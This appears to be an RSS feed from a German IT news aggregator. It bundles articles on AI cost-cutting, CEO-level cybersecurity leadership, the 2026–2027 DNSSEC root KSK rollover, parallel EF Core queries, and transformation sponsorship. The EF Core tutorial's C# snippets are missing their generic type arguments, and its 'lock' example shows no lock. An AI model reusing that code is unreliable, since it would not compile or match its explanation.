<p class="wp-block-paragraph">I have observed that an alarmingly high percentage of companies remain trapped in pilot phases focused exclusively on short-term cost reduction. <a href="https://www.bain.com/insights/your-ai-budget-is-growing-your-returns-arent-heres-why/">Bain &amp; Company’s global Automation and AI Pathfinder Survey </a>found that the largest share of companies measuring their AI initiatives (exactly 40%) realized cost reductions of 10% or less, heavily missing their internal targets. Our customers are putting too many resources and effort into marginal financial gains and in doing so, they are jeopardizing their most valuable assets: service quality, resilience and customer trust.</p>



<p class="wp-block-paragraph">Utilizing AI solely to slash headcount or cut operational corners is a dangerous trap that introduces severe field liabilities. A financial service organization in Latin America announced that they saved $1 million in customer support by replacing humans with AI chatbots. However, the mid-term reality revealed a different story: a damaged brand reputation due to AI errors and an influx of frustrated clients fleeing because the automated system cannot handle special cases.</p>



<p class="wp-block-paragraph">Putting a company on an extreme AI diet might make it look leaner on next quarter’s financial statement, but over-indexing on cost-cutting will ultimately leave the business too weak to compete when market dynamics shift. We are now inviting our customers to change the question from <em>“How much money will AI save us?”</em> to <em>“How will we leverage AI to exponentially increase the long-term value of our enterprise?”</em></p>



<p class="wp-block-paragraph">Deploying enterprise AI is a marathon, not a sprint, and the terrain changes with every mile. The organizations that thrive in this next era will be those that transition from fascination to discipline, treating AI not as a magic bullet for immediate savings, but as a core capability that demands rigorous governance, architectural foresight and cultural maturity. Navigating this shift requires moving past the theoretical hype and anchoring decisions in raw, field-tested reality.</p>



<p class="wp-block-paragraph">As we continue to deploy these technologies across industries, the blueprint for success is being rewritten in real time. Let’s keep this conversation going as we map out the future of business intelligence together.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[3 cybersecurity issues that should keep every CEO awake at night]]></title>
<description><![CDATA[For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.



Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organization...]]></description>
<link>https://tsecurity.de/de/3691226/it-security-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</link>
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<pubDate>Fri, 24 Jul 2026 12:09:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.</p>



<p class="wp-block-paragraph">Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organizations continue to suffer major cyber incidents with alarming regularity. Every week seems to bring news of another ransomware attack, supply chain compromise or data breach affecting organizations that many would have assumed were well protected.</p>



<p class="wp-block-paragraph">The obvious conclusion is that we are asking the wrong questions.</p>



<p class="wp-block-paragraph">Too many executive teams remain preoccupied with the latest threat actor, the newest security product the CISO wants to buy or the latest vulnerability making headlines. Those issues matter, but they are not what should be keeping CEOs awake at night.</p>



<p class="wp-block-paragraph">In my view, there are three far more fundamental issues that deserve the attention of every chief executive.</p>



<h2 class="wp-block-heading">1. Corporate complexity, and the widening gap between business leadership and cybersecurity reality</h2>



<p class="wp-block-paragraph">Perhaps the biggest cybersecurity risk facing large organizations today is not technical at all.</p>



<p class="wp-block-paragraph">It is the growing disconnect between executive perception and operational reality.</p>



<p class="wp-block-paragraph">Many boards genuinely believe their organizations are reasonably well protected. They receive regular dashboards showing improving maturity scores, increasing compliance levels, falling vulnerability counts and reassuring traffic-light reports.</p>



<p class="wp-block-paragraph">Unfortunately, cyber attackers do not read dashboards.</p>



<p class="wp-block-paragraph">Behind those executive reports often lies an increasingly complex technology landscape, thousands of unmanaged digital assets, ageing infrastructure, rampant shadow IT, fragmented ownership, inconsistent governance and security teams struggling to keep pace with relentless business change.</p>



<p class="wp-block-paragraph">The problem is rarely a lack of effort.</p>



<p class="wp-block-paragraph">It is that corporate complexity has reached a level where traditional governance mechanisms are no longer capable of providing an accurate picture of organizational resilience.</p>



<p class="wp-block-paragraph">Executives believe they understand the level of cyber risk they face because they receive regular reports. Those reports often measure activity rather than resilience.</p>



<p class="wp-block-paragraph">Governance committees end up debating around another percentage point of phishing awareness or vulnerability remediation, while fundamental issues remain unaddressed in the background.</p>



<h2 class="wp-block-heading">2. Organizational inertia, and the need for executive structure to evolve faster</h2>



<p class="wp-block-paragraph">Cyber criminals continue to evolve rapidly. Large organizations generally do not.</p>



<p class="wp-block-paragraph">This is the second issue that should concern every CEO.</p>



<p class="wp-block-paragraph">Throughout my career, I have observed organizations repeatedly responding to new cyber threats by adding another technology platform, another monitoring capability, another compliance framework or another governance committee.</p>



<p class="wp-block-paragraph">Very rarely do they stop to redesign how cybersecurity operates.</p>



<p class="wp-block-paragraph">The result is what I described several years ago as the “<a href="https://www.amazon.com/Cybersecurity-Spiral-Failure-How-Break/dp/1637353057/">Cybersecurity Spiral of Failure</a>”.</p>



<ul class="wp-block-list">
<li>As complexity and regulation increase, organizations invest in more security products.</li>



<li>More products create more complexity.</li>



<li>More products and greater complexity generate more alerts.</li>



<li>More alerts require more analysts.</li>



<li>More analysts produce more reports.</li>



<li>More reports continue to build up executive confidence.</li>



<li>Meanwhile, the underlying structural weaknesses remain largely unchanged, technical debt piles up and costs escalate.</li>
</ul>



<p class="wp-block-paragraph">And when the inevitable breach eventually happens, reality reveals itself, but distrust also sets in between senior executives and security teams.</p>



<p class="wp-block-paragraph">This is not a funding problem. Nor is it a skills problem. It is fundamentally an operating model problem.</p>



<p class="wp-block-paragraph">Many organizations continue trying to solve twenty-first century challenges using governance, accountability, organizational and reporting structures designed twenty-five years ago.</p>



<p class="wp-block-paragraph">The cybersecurity function itself has evolved dramatically. Many executive structures have not.</p>



<p class="wp-block-paragraph">This organizational inertia extends beyond technology: It affects budgeting cycles, <a href="https://www.cio.com/article/4193990/reallocating-cybersecurity-capital-in-the-mythos-era.html">investment priorities</a>, procurement processes, accountability models and decision-making speed.</p>



<p class="wp-block-paragraph">Cyber attackers innovate every day. Organizational change often takes years.</p>



<p class="wp-block-paragraph">That imbalance should worry every CEO.</p>



<h2 class="wp-block-heading">3. Accelerating technological disruption, and how it challenges organizations in areas where they are intrinsically weak</h2>



<p class="wp-block-paragraph">The third issue is potentially the most significant over the coming decade.</p>



<ul class="wp-block-list">
<li>Artificial intelligence, autonomous agents and machine identities</li>



<li>Software supply chain complexity.</li>



<li>Quantum computing, and post-quantum cryptography</li>
</ul>



<p class="wp-block-paragraph">Each of these developments represents far more than another technical trend.</p>



<p class="wp-block-paragraph">Together, they fundamentally change the dynamics of cybersecurity.</p>



<p class="wp-block-paragraph">Artificial intelligence is transforming countless business processes. At the same time, it is also increasing both the speed and sophistication of cyber-attacks while simultaneously transforming defensive capabilities.</p>



<p class="wp-block-paragraph">Organizations have become increasingly dependent on software ecosystems that extend far beyond their own direct control. Engaging with the supply chain in ways that lead to a genuine appreciation of the risks involved has become a key challenge for most cybersecurity practices.</p>



<p class="wp-block-paragraph">Quantum computing may eventually invalidate much of today’s cryptographic algorithms, forcing organizations into one of the largest technology efforts since Y2K — but without the benefit of a fixed deadline and faced by a problem that is considerably more complex and hyperconnected IT estates that have little to do with those of the late 90s.</p>



<p class="wp-block-paragraph">None of these challenges can be solved overnight: They require clear governance, sustained investment over a few years and cross-functional organizational coordination.</p>



<p class="wp-block-paragraph">Most large organizations are weak on those three fronts: This is precisely why CEOs should be focusing on them now.</p>



<p class="wp-block-paragraph">Waiting until some of those risks become obvious will almost certainly be too late.</p>



<p class="wp-block-paragraph">Businesses naturally prioritise immediate commercial pressures. Cybersecurity often involves preparing for risks whose timing remains uncertain.</p>



<p class="wp-block-paragraph">But one of the greatest leadership failures I keep seeing remains the inability of organizations to act decisively on known unknowns.</p>



<p class="wp-block-paragraph">That tension explains why many organizations delay action until external events force them to respond. Unfortunately, cybersecurity rarely rewards late action.</p>



<h2 class="wp-block-heading">Leadership will determine who succeeds</h2>



<p class="wp-block-paragraph">Cybersecurity discussions still frequently focus on technology. I believe they should focus far more on leadership.</p>



<p class="wp-block-paragraph">Technology will continue evolving. Threat actors will continue adapting. Regulations will continue expanding. Those developments are inevitable.</p>



<p class="wp-block-paragraph">What remains within the control of every CEO is how their organization responds.</p>



<p class="wp-block-paragraph">Does cybersecurity remain an IT issue? Or is it recognised as an integral part of business resilience?</p>



<p class="wp-block-paragraph">How is cybersecurity accountability assigned at executive level? Or does it still rest largely with a CISO hidden in the organization?</p>



<p class="wp-block-paragraph">Does the board spend sufficient time discussing resilience? Or does cybersecurity appear only when approving budgets or reviewing incidents?</p>



<p class="wp-block-paragraph">These questions will increasingly determine organizational success.</p>



<p class="wp-block-paragraph">The companies that navigate the next decade successfully will not necessarily be those spending the most on cybersecurity. Nor will they be those deploying the latest security technologies first.</p>



<p class="wp-block-paragraph">They will be the organizations whose leadership recognises that cybersecurity has become a permanent business capability — embedded into governance, strategy, operational decision-making and organizational culture.</p>



<p class="wp-block-paragraph">That transformation cannot be delegated. It begins with the CEO.</p>



<p class="wp-block-paragraph">And perhaps that is the single biggest issue that should keep every chief executive awake at night: Not when the next cyber-attack will happen, but whether their organization is evolving quickly enough on those matters to meet a threat landscape that is changing much faster than the business itself.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[CIOs beware: DNS KSK rollover could kick off wave of mysterious outages]]></title>
<description><![CDATA[Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.



That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely...]]></description>
<link>https://tsecurity.de/de/3691225/it-security-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</link>
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<pubDate>Fri, 24 Jul 2026 12:09:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.</p>



<p class="wp-block-paragraph">That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely to deliver a series of seemingly unrelated system outages. This will come from oceans of dependencies from third-party, shadow, agentic, gen AI, SaaS, homegrown, and legacy apps — among many other quiet executable hiding spots, including virtual environments and containers.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/joshithak/">Sai Joshitha Kathari</a>, senior site reliability engineer at payment card giant Visa, says most enterprises have far more DNS-related exposure than they realize because of these many dependencies.</p>



<p class="wp-block-paragraph">“This has the potential to create real downstream destruction when unresolved failures sit underneath important business functions,” Kathari says. </p>



<p class="wp-block-paragraph">The danger is that so many of these issues are either unknown to IT or handled by a third-party vendor and no one in IT has had reason to ask those vendors about DNS updates. </p>



<p class="wp-block-paragraph">“The risky areas are usually not the obvious managed DNS services. They are the older internal applications, hardcoded resolvers, containerized workloads, sidecar configurations, custom scripts, partner integrations, VM images, stale base images, and service-to-service dependencies that nobody has touched in a long time,” Kathari explains. “These systems can keep working quietly for years, then fail during a DNS or certificate-related change because they bypassed the normal platform standards.”</p>



<p class="wp-block-paragraph">Independent technology analyst <a href="https://www.linkedin.com/in/carmi/">Carmi Levy</a> says that CIOs need to take this event very seriously. </p>



<p class="wp-block-paragraph">“The two-pronged deadline — October 11, 2026, when the new Key Signing Key (KSK) begins signing the root zone, and January 11, 2027, when the old key is retired — should be marked in red on everyone’s calendar, just as December 31, 1999, once was,” Levy says. “Failure to comply could result in websites, critical business applications, and related resources dropping off the face of the Earth once the transition is complete.”</p>



<p class="wp-block-paragraph">Levy adds: “Custom-built code that lives outside conventional support mechanisms may or may not function when the DNS changes go into effect.”</p>



<p class="wp-block-paragraph">The <a href="https://www.icann.org/resources/press-material/release-2026-05-20-en">DNSSEC update itself</a> is straightforward, but it is also the first significant DNSSEC change — specifically a change in the trust anchor — since 2018. </p>



<p class="wp-block-paragraph">The rollout statement noted that “the trust anchor is formally known as the Domain Name System Security Extensions (DNSSEC) root zone Key Signing Key (KSK). The KSK is the cryptographic key at the core of the DNSSEC trust anchor and is used to verify that DNS responses are legitimate and have not been modified in transit.”</p>



<h2 class="wp-block-heading">Expect nearly every enterprise to be impacted</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/kimdavies/">Kim Davies</a>, vice president of IANA Services and president of public technical identifiers at ICANN, says the extent of the impact on enterprises is unknowable, given the nature of shadow IT and other edge cases. </p>



<p class="wp-block-paragraph">But based on the massive number of dependencies both known and unknown in the typical global enterprise, Davies guesses that just about every enterprise will be impacted, to varying degrees. </p>



<p class="wp-block-paragraph">“In highly complex organizations, it is very likely there will be some impact in the corners, in the margins, of the organization,” Davies tells CIO. “DNS is such a core technology that underpins everything.”</p>



<p class="wp-block-paragraph">As the updates propagate, hiccups will materialize, Davies notes. “When the system cannot validate the [DNS] information, it will treat it as suspect and DNS lookups will fail.”</p>



<p class="wp-block-paragraph">Visa’s Kathari says, “Enterprises should expect some secondary DNS-related glitches when major DNSSEC-related changes happen, not necessarily because the core infrastructure teams will ignore the update, but because large environments have many hidden dependency paths.”</p>



<p class="wp-block-paragraph">Making this problem far worse, Kathari notes, is that the glitches will likely initially look like anything other thana DNS glitch. That will force IT staff to waste a vast number of hours chasing causes that ultimately prove to be unrelated to the incidents. </p>



<p class="wp-block-paragraph">“The impact for CIOs is that DNS failures rarely announce themselves as DNS failures. They look like application timeouts, broken logins, failed API calls, queue lag, payment failures, partner connectivity issues, or random regional instability,” Kathari explains. “That makes troubleshooting slower because teams may spend hours looking at the application, database, network, or cloud provider before realizing name resolution is part of the failure path.”</p>



<p class="wp-block-paragraph"><a href="https://greyhoundresearch.com/svg/">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research, agrees that IT will likely spin its wheels chasing the wrong ghosts.</p>



<p class="wp-block-paragraph">“A validation failure rarely stays in its lane. It surfaces as an application error, an API timeout, or a reachability problem, which turns a resolver fault into a coordination failure,” Gogia says. “The application team blames the network, the network team blames the cloud, and the user simply watches work stop.”</p>



<p class="wp-block-paragraph">“Images and templates are the frontier most teams miss,” Gogia adds. “A resolver fixed in summer can be broken again in October the instant a stale golden image is redeployed, because automation no longer lets configuration drift slowly. It restores yesterday’s assumptions at machine speed.”</p>



<p class="wp-block-paragraph">It is widely expected that enterprises will not have any problems executing the change or, more likely, relying on their hyperscalers to properly handle the change. That is the concern. </p>



<p class="wp-block-paragraph">“CIOs are being distracted so much with AI and this is such a deep in the weeds infrastructure issue that this can and willcatch people off-guard,” <a href="https://acceligence.com/talent/profiles/justin-greis/">Justin Greis</a>, CEO of consulting firm Acceligence, tells CIO. “I think we’ll see a meaningful number of enterprise disruptions associated with the DNSSEC trust anchor rollover. Not because the update itself is especially difficult, but because it will expose weaknesses that already exist inside many organizations.”</p>



<p class="wp-block-paragraph">Most enterprise IT operations have had no reason to compile a comprehensive list of all DNS dependencies, but many will be instantly discovered in January. </p>



<h2 class="wp-block-heading">Potentially widespread fallout</h2>



<p class="wp-block-paragraph">A major retailer, for example, might suddenly be unable to connect with FedEx to arrange for deliveries or a hospital may find that test results are no longer being shared with patient portals. It might manifest as an assembly line that halts because an IIoT component can no longer share files with its vendor system or a truck fleet that stops being tracked. </p>



<p class="wp-block-paragraph">“There will almost certainly be systems that fall through the cracks. Some will be legacy applications that rely on outdated DNS configurations that have not been updated in years,” Greis says. “Others will be business-unit-developed tools, contractor-built solutions, embedded systems, manufacturing and industrial systems, or highly customized workloads that operate outside normal IT oversight. These are the types of systems that often surface during infrastructure events like this.”</p>



<p class="wp-block-paragraph">Greis adds that many enterprises will discover in January problems created by their own automation.</p>



<p class="wp-block-paragraph">“Over time, enterprises build layers of processes, templates, and deployment mechanisms that are reused across teams and environments,” Greis notes. “Even after DNS infrastructure is updated correctly, older settings can inadvertently be reintroduced through routine updates and system changes, creating intermittent and difficult-to-diagnose failures.”</p>



<p class="wp-block-paragraph">The good news from this situation is that enterprises are not going to likely lose all DNS access if any of these glitches occur. But that may be of no comfort because even if the disruptions are only with small edge cases, that can still cause massive operational disruptions.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/cricketliu/">Cricket Liu</a>, EVP and chief evangelist at Infoblox, gives the example of a DNS server that responds to factory-floor system queries.</p>



<p class="wp-block-paragraph">“Or let’s say this disrupts [an enterprise’s key] SaaS application. All name resolution may stop and it will show a server failure. It will not deliver a response whenever I look anything up. That’s not subtle at all,” Liu says. “It’s highly likely that companies are going to see some effects.”</p>



<p class="wp-block-paragraph">Back in 2017, the switchover was relatively uneventful, giving some CIOs hope that January 2027 will also be a non-event. But given the technology advancements in the last 10 years and the resulting tidal wave of new enterprise tech dependencies, few are realistically expecting no problems this go around. </p>



<h2 class="wp-block-heading">Impossible to predict what will happen</h2>



<p class="wp-block-paragraph">One of the top network experts on DNS effects in enterprises is <a href="https://blog.apnic.net/author/geoff-huston/">Geoff Huston</a>, chief scientist at the Asia Pacific Network Information Centre (APNIC), the regional Internet Registry administering IP addresses for the Asia Pacific region.</p>



<p class="wp-block-paragraph">Huston says it is difficult to project what will happen in January until it happens.</p>



<p class="wp-block-paragraph">“Just like the last time, we are flying blind with this key roll. Because nothing really terrible happened last time, there is some confidence that nothing terrible will happen this time, but we just can’t tell in advance as there are no good measurement approaches that allow us to peek inside the trust state of recursive resolvers,” he says.</p>



<p class="wp-block-paragraph">As for potential edge-case glitches, Huston says it is possible, but if third-party vendors do not properly handle the update, there will be other issues as well, as the KSK cryptographic key used within DNSSEC signs and validates the keys that protect DNS records. </p>



<p class="wp-block-paragraph">“If it is not standards-compliant, then you have more problems than just the KSK roll,” Huston says, “as it raises the obvious question of ‘What else is not correctly implemented in the DNS resolver that I’m running?’”</p>



<p class="wp-block-paragraph">As a silver lining, Acceligence’s Greis says any hiccups that result from the DNS KSK update may be a gift in disguise for CIOs. </p>



<p class="wp-block-paragraph">“The irony is that some of the most business-critical components in the technology stack are often the least visible because they work in the background,” Greis says. January “may reveal how much modern business resilience depends on infrastructure that many organizations rarely examine until something breaks. For CIOs, that’s the real lesson. This is not fundamentally a story about a DNS update. It is a story about operational visibility, resilience, and governance. Organizations that treat the rollover as a routine infrastructure task will likely complete the update and move on. Organizations that use it as an opportunity to understand and strengthen the foundations of their technology environment may gain far more value than simply avoiding an outage.”</p>
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<title><![CDATA[What GitOps Really Is]]></title>
<description><![CDATA[This lesson is for paying subscribers only
                                                       
                    
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<pubDate>Fri, 24 Jul 2026 11:41:27 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<title><![CDATA[How to execute queries in parallel using EF Core]]></title>
<description><![CDATA[EF Core is Microsoft’s flagship ORM (object-relational mapper), the software layer that allows .NET developers to work with relational databases. The DbContext class is the core component of the EF Core framework for managing database operations. However, the DbContext class in EF Core is not thr...]]></description>
<link>https://tsecurity.de/de/3691080/ai-nachrichten/how-to-execute-queries-in-parallel-using-ef-core/</link>
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<pubDate>Fri, 24 Jul 2026 11:04:59 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">EF Core is Microsoft’s flagship ORM (object-relational mapper), the software layer that allows .NET developers to work with relational databases. The <code>DbContext</code> class is the core component of the EF Core framework for managing database operations. However, the <code>DbContext</code> class in EF Core is not thread-safe. Hence, if you share <code>DbContext</code> instances between multiple threads, you will often encounter data corruption issues and the <code>InvalidOperationException</code>.</p>



<p class="wp-block-paragraph">In this article, we’ll learn how we can execute queries in parallel in EF Core by handling thread-safety issues to avoid concurrency errors. To work with the code examples provided in this article, you should have Visual Studio 2026 installed in your system. You can <a href="https://visualstudio.microsoft.com/insiders/">download Visual Studio 2026 here</a>.</p>



<h2 class="wp-block-heading">Executing EF Core queries in parallel – the problem</h2>



<p class="wp-block-paragraph">When working in today’s data-driven applications, you will often need to fetch data from multiple unrelated datasets. In applications that use concurrency, thread-safety is critical to guaranteeing correct execution, avoiding data corruption and race conditions, and ensuring data consistency. Let’s understand this with an example. </p>



<p class="wp-block-paragraph">Let’s say we want to populate a dashboard that displays all recently processed orders, metrics, logs, and traces, as well as your application’s performance metadata. We might write the following code. </p>



<pre class="wp-block-code"><code>public class Dashboard
{
    public List Orders { get; set; } = new();
    public Metrics Metrics { get; set; } = new();
    public List Logs { get; set; } = new();
    public List Traces { get; set; } = new();
}
public static async Task LoadDashboardAsync(ProductService productService)
{
    Task&lt;List&gt;    ordersTask  = productService.GetProcessedOrdersAsync();
    Task        metricsTask = productService.GetMetricsAsync();
    Task&lt;List&gt; logsTask    = productService.GetRecentLogsAsync();
    Task&lt;List&gt;    tracesTask  = productService.GetTracesAsync();
    await Task.WhenAll(ordersTask, metricsTask, logsTask, tracesTask);
    return new Dashboard
    {
        Orders  = await ordersTask,
        Metrics = await metricsTask,
        Logs    = await logsTask,
        Traces  = await tracesTask
    };
}
</code></pre>



<p class="wp-block-paragraph">In the preceding code snippet, there are four read operations that are executed by four different <code>Task</code> instances. Our objective is to ensure that the database round trips run in parallel instead of in sequence. We can accomplish this by using<code>Task.WhenAll</code>, which starts the four tasks, waits for every task to finish, then returns the data wrapped inside a new <code>Dashboard</code> instance.</p>



<p class="wp-block-paragraph">If we executed these queries sequentially, the user would have to wait until each query completed its execution in turn—for a total wait time equal to the sum of the times for all four queries. However, by running these queries in parallel, we reduce the wait time considerably. The user will need to wait only as long as it takes for the slowest of the four queries to complete its execution.</p>



<p class="wp-block-paragraph">However, there is a danger with the above approach. If you run multiple operations on the same <code>DbContext</code> instance, you will see an <code>InvalidOperationException</code> with the following message:</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">A second operation started in this context before the previous operation was completed. This is usually caused by multiple threads using the same <code>DbContext</code> instance; instance members are not guaranteed to be thread-safe.</p>
</blockquote>



<p class="wp-block-paragraph">Databases such as SQL Server, PostgreSQL, and Oracle Database follow a request-response communication model at the connection level: a single connection can process only one command at a time. Hence, you cannot run multiple queries concurrently using the connection. If you <code>await</code> several operations using the same connection, EF Core detects the overlapping use of a non-thread-safe context and throws an <code>InvalidOperationException</code>. To run queries in parallel, you must give each task its own connection or context.</p>



<h2 class="wp-block-heading">Why DbContext isn’t thread-safe – and how to work around it</h2>



<p class="wp-block-paragraph">The <code>DbContext</code> class in EF Core is designed to manage a single unit of work. To be more precise, EF Core does not provide support for running multiple operations on the same <code>DbContext</code> instance. This design approach creates inherent challenges when you use the same <code>DbContext</code> instance across multiple threads. If <code>DbContext</code> were thread-safe, extensive locking would be required, which would degrade data access performance.</p>



<p class="wp-block-paragraph">This stateful design of <code>DbContext</code> makes it unsuitable for concurrent access patterns that involve loading, modifying, or tracking different sets of data simultaneously, because it needs to maintain the internal representation of database state.</p>



<p class="wp-block-paragraph">The <a href="https://learn.microsoft.com/en-us/ef/core/change-tracking/" data-type="link" data-id="https://learn.microsoft.com/en-us/ef/core/change-tracking/">change tracker</a> is one of the most important components of <code>DbContext</code> in EF Core. It monitors all entities loaded into memory and detects any changes made to them after they have been loaded. It keeps track of the original, current, and changed values of the entities, thereby enabling the EF Core runtime to know the current state of these entities when you call the <code>SaveChanges()</code> method on the <code>DbContext</code> instance.</p>



<p class="wp-block-paragraph">To implement thread-safety when working with DbContext, we must write our code to ensure that each concurrent operation gets its own copy of a short-lived instance. Now, we <em>could</em> accomplish this by wrapping a shared <code>DbContext</code> instance inside a thread-safe block using the <code>lock</code> keyword, so that all calls to the database take place using one and only one thread at a time. This approach is illustrated in the code snippet below. </p>



<pre class="wp-block-code"><code>using Microsoft.EntityFrameworkCore;
public class Product
{
    public int Id { get; set; }
    public string Name { get; set; } = string.Empty;
    public decimal Price { get; set; }
    public int Quantity { get; set; }
}
public class AppDbContext : DbContext
{
    public AppDbContext(DbContextOptions options) : base(options) { }
    public DbSet Products =&gt; Set();
}
</code></pre>



<p class="wp-block-paragraph">However, while the above approach gives us the thread-safety we need, it can degrade data access performance considerably. A better approach is to use <code>IDbContextFactory</code> , which creates fresh <code>DbContext</code> instances on demand. Calling its <code>CreateDbContext()</code> method is cheap and produces a fresh, isolated context every time. </p>



<p class="wp-block-paragraph">The following code snippet shows how you can register an instance of type <code>IDbContextFactory</code> as a singleton. You can safely call this code from any thread.</p>



<pre class="wp-block-code"><code>builder.Services.AddDbContextFactory(options =&gt;
    options.UseSqlServer(
        builder.Configuration.GetConnectionString("Default")));
</code></pre>



<h2 class="wp-block-heading">Executing EF Core queries in parallel – the solution</h2>



<p class="wp-block-paragraph">Now let’s see how we can put <code>IDbContextFactory</code> to work. The following code illustrates a class named <code>ProductService</code> that uses a factory to create <code>DbContext</code> instances for each scope of work.</p>



<pre class="wp-block-code"><code>public class ProductService
{
    private readonly IDbContextFactory _factory;
    public ProductService(IDbContextFactory factory)
        =&gt; _factory = factory;
    public async Task GetByIdAsync(int id)
    {
        await using var context = await _factory.CreateDbContextAsync();
        return await context.Products.FindAsync(id);
    }
    public async Task UpdateStockQuantityAsync(int id, int updateQuantity)
    {
        await using var context = await _factory.CreateDbContextAsync();
        var product = await context.Products.FindAsync(id);
        if (product is null) return;
        product.Quantity += updateQuantity;
        await context.SaveChangesAsync();
    }
}
</code></pre>



<p class="wp-block-paragraph">Note that <code>ProductService</code> has two methods, <code>GetByIdAsync</code> and <code>UpdateStockQuantityAsync</code>. An instance of the <code>DbContext</code> class is created locally in each of these methods. Now, suppose you have two threads, T1 and T2, that execute these methods concurrently. That is, thread T1 executes the <code>GetByIdAsync</code> method while thread T2 executes the <code>UpdateStockQuantityAsync</code> method. Because each of these methods is executed in isolation, they will have their own context, connection, and change-tracking information, and there will be no mutable state, so you don’t need to implement thread synchronization in either of these methods.</p>



<p class="wp-block-paragraph">Consider the following code that executes a read operation and an update operation in two separate tasks. </p>



<pre class="wp-block-code"><code>public static async Task RunMethodsInParallelAsync(ProductService productService)
{
      Task readTask = productService.GetByIdAsync(1);
      Task updateTask = productService.UpdateStockQuantityAsync(3, 5);
      await Task.WhenAll(readTask, updateTask);
      Product? product = await readTask;
 }
</code></pre>



<p class="wp-block-paragraph">The <code>Task.WhenAll</code> method runs the two tasks in parallel and waits until both have finished. The reason this approach is thread-safe, and will not create concurrency errors, is that each of these two methods creates its own <code>DbContext</code> instance internally. Therefore the read operation and the update operation use independent <code>DbContext</code> instances.</p>



<h2 class="wp-block-heading">Use DbContext pooling to reduce allocation cost</h2>



<p class="wp-block-paragraph">Although creating <code>DbContext</code> instances is not that costly, you should consider using pooled contexts in applications that require high scalability and high performance. The following code snippet shows how you can register a pooled context. </p>



<pre class="wp-block-code"><code>builder.Services.AddPooledDbContextFactory(options =&gt;
    options.UseSqlServer(connectionString));
</code></pre>



<p class="wp-block-paragraph">A call to <code>AddDbContext()</code> will register a <code>DbContext</code> instance as scoped per HTTP request. Each request will run on a different thread and each will have its own context. However, keep in mind that the default scoped registration of the <code>DbContext</code> will not always suffice.</p>



<p class="wp-block-paragraph">You will need a factory to create instances of <code>DbContext</code> when you’re using a background service, or performing some work inside a particular request, or running some business logic operation over multiple contexts.</p>



<h2 class="wp-block-heading">Key takeaways</h2>



<ul class="wp-block-list">
<li>If you use EF Core in the data access layer of your application, you must implement thread safety measures whenever you run your queries in parallel.</li>



<li>You cannot execute multiple queries in parallel in EF Core using the same <code>DbContext</code> instance.</li>



<li>The <code>IDbContextFactory</code> enables you to create a <code>DbContext</code> instance for each thread, thereby enabling you to work with these instances in isolation.</li>



<li>Although using a <code>DbContext</code> pool involves a small allocation overhead, it becomes a non-issue if you need high throughput.</li>
</ul>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Sponsor mismatch is the silent killer of enterprise transformation]]></title>
<description><![CDATA[Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordin...]]></description>
<link>https://tsecurity.de/de/3691067/it-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691067/it-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</guid>
<pubDate>Fri, 24 Jul 2026 11:03:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordination support and whether offshore resources were adding value at all.</p>



<p class="wp-block-paragraph">The questions were not coming from the delivery teams. They were coming from the executive sponsor.</p>



<p class="wp-block-paragraph">The sponsor had recently been elevated into a senior leadership role and had never sponsored a technology transformation at this scale. The challenge was not authority. The sponsor had every right to ask any question they wanted. The challenge was that strategic governance had quietly turned into a debate about delivery practices, because the sponsor did not yet have the transformation context to focus the conversation anywhere else.</p>



<p class="wp-block-paragraph">This is not a story about a bad sponsor. The executive in this case was a capable senior leader with strong judgment and authentic intent. They had been placed into a role they had not yet been prepared for, and the pattern that followed was structural, not personal. It is one of the more common patterns I have observed across enterprise transformation programs, and one of the most consistently misdiagnosed.</p>



